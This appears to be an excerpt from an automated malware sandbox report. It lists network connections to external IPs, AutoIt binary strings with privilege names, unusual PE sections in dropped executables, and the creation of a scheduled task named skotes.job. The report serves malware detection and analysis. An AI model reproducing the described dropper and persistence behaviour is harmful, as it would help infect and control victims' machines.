Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132

Source: unknown	HTTPS traffic detected: 20.190.147.4:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.22:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.160.109:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.5:50177 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: ddf08f7f32.exe, 00000020.00000000.3163691383.0000000000DD2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6850bb35-4
Source: ddf08f7f32.exe, 00000020.00000000.3163691383.0000000000DD2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e5e28447-1
Source: ddf08f7f32.exe.22.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9a63ef77-1
Source: ddf08f7f32.exe.22.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_9977186e-1

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name:
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: random[2].exe.22.dr	Static PE information: section name:
Source: random[2].exe.22.dr	Static PE information: section name: .idata
Source: 34712696d0.exe.22.dr	Static PE information: section name:
Source: 34712696d0.exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name: .rsrc
Source: random[1].exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.22.dr	Static PE information: section name:
Source: c2fcbf308b.exe.22.dr	Static PE information: section name:
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: .rsrc
Source: c2fcbf308b.exe.22.dr	Static PE information: section name: .idata
Source: c2fcbf308b.exe.22.dr	Static PE information: section name:
Source: random[2].exe0.22.dr	Static PE information: section name:
Source: random[2].exe0.22.dr	Static PE information: section name: .idata
Source: random[2].exe0.22.dr	Static PE information: section name:
Source: 684030933f.exe.22.dr	Static PE information: section name:
Source: 684030933f.exe.22.dr	Static PE information: section name: .idata
Source: 684030933f.exe.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name: .idata
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name:
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name: .idata
Source: 27ee25f0d2.exe.22.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe

File created: C:\Windows\Tasks\skotes.job

